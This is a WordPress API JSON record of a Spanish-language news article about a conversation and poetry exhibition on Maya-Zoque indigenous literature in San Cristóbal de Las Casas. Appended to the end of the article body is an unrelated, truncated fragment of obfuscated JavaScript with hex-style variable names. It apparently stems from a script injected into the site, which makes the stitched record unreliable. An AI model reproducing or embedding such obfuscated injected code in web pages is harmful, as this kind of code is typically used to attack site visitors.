{"id":14389,"date":"2024-02-27T04:20:26","date_gmt":"2024-02-27T04:20:26","guid":{"rendered":"https:\/\/reporteciudadanochiapas.com\/?p=14389"},"modified":"2024-02-27T04:20:27","modified_gmt":"2024-02-27T04:20:27","slug":"realizan-conversatorio-y-exposicion-poetica-en-lengua-materna","status":"publish","type":"post","link":"https:\/\/reporteciudadanochiapas.com\/?p=14389","title":{"rendered":"Realizan conversatorio y exposici\u00f3n po\u00e9tica en lengua materna"},"content":{"rendered":"\n
\"\"<\/figure>\n\n\n\n

\u00d3scar G\u00f3mez\/CorresponsalSan Crist\u00f3bal de Las Casas.- El Consejo Estatal para las Culturas y las Artes de Chiapas (Coneculta), a trav\u00e9s del Centro Estatal de Lenguas, Arte y Literatura Ind\u00edgenas (Celali), realiz\u00f3 el conversatorio titulado “Yech\u2019omal jk\u2019optik: Xch\u2019ulel Nichimal k\u2019op a\u2019yej maya zoke\/ ecos de nuestra palabra: Alma de la literatura maya zoque”, que consiste tambi\u00e9n en una exposici\u00f3n po\u00e9tica.El conversatorio y la exposici\u00f3n, estructurados en torno a tres ejes fundamentales, abordaron el surgimiento y desarrollo de la poes\u00eda de los pueblos originarios, la visibilizaci\u00f3n y transmisi\u00f3n de conocimientos propios, as\u00ed como la propuesta est\u00e9tica de la literatura maya zoque, representada a trav\u00e9s del nichimal k\u2019op ‘la florida palabra’ en diversas lenguas ind\u00edgenas como tseltal, tsotsil, ch\u2019ol, zoque, Jacalteco y k\u2019anjobal.Destacadas personalidades como Adriana del Carmen L\u00f3pez S\u00e1ntiz, escritora y poeta tseltal, y Miguel Ru\u00edz G\u00f3mez, escritor y poeta tsotsil, participaron activamente en el conversatorio, expresando su gratitud por la oportunidad de abordar temas de gran relevancia.Miguel Ru\u00edz comparti\u00f3 que a partir de los a\u00f1os 70 y 80 se comienza a visibilizar las lenguas en letras maternas, con un movimiento propio de manifestaci\u00f3n llamado proyecto indigenista que comienza a trabajar con la vida de los pueblos originarios en busca de saber cu\u00e1l era la ra\u00edz prehisp\u00e1nica de M\u00e9xico y como era la vida de los hablantes”.Adriana del Carmen a\u00f1adi\u00f3 que la tradici\u00f3n oral fue una de las bases con las que se inici\u00f3 a visibilizar la escritura en lenguas ind\u00edgenas, la palabra de los abuelos ten\u00eda mucho peso porque actualmente ha bajado su valorizaci\u00f3n, cuya finalidad era conocer los saberes de los antepasados en las comunidades, la manera de plasmar su historia y preservar los conocimientos de los tseltales y tsotsiles.Ambos resaltaron la importancia de la palabra escrita para los escritores ind\u00edgenas, como medio para exponer su universo cultural, ideolog\u00eda, cosmovisi\u00f3n, tradiciones y costumbres.Tras la conclusi\u00f3n del conversatorio, se inaugur\u00f3 la exposici\u00f3n, que representa un homenaje a los tejedores y defensores del arte de la palabra en lenguas originarias de Chiapas. Esta exhibici\u00f3n, desde el renacimiento de la reestructuraci\u00f3n a finales de los a\u00f1os ochenta y principio de los noventa hasta la actualidad, refleja la evoluci\u00f3n y riqueza tem\u00e1tica y epist\u00e9mica de la poes\u00eda de los pueblos originarios de Chiapas.<\/p>\n\r\n(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return ","protected":false},"excerpt":{"rendered":"

\u00d3scar G\u00f3mez\/CorresponsalSan Crist\u00f3bal de Las Casas.- El Consejo Estatal para las Culturas y las Artes de Chiapas (Coneculta), a trav\u00e9s del Centro Estatal de Lenguas, Arte y Literatura Ind\u00edgenas (Celali), realiz\u00f3 el conversatorio titulado “Yech\u2019omal jk\u2019optik: Xch\u2019ulel Nichimal k\u2019op a\u2019yej maya zoke\/ ecos de nuestra palabra: Alma de la literatura maya zoque”, que consiste tambi\u00e9n …<\/p>\n","protected":false},"author":2,"featured_media":14390,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[],"class_list":["post-14389","post","type-post","status-publish","format-standard","has-post-thumbnail","","category-chiapas"],"_links":{"self":[{"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=\/wp\/v2\/posts\/14389","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=14389"}],"version-history":[{"count":1,"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=\/wp\/v2\/posts\/14389\/revisions"}],"predecessor-version":[{"id":14391,"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=\/wp\/v2\/posts\/14389\/revisions\/14391"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=\/wp\/v2\/media\/14390"}],"wp:attachment":[{"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=14389"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=14389"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=14389"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}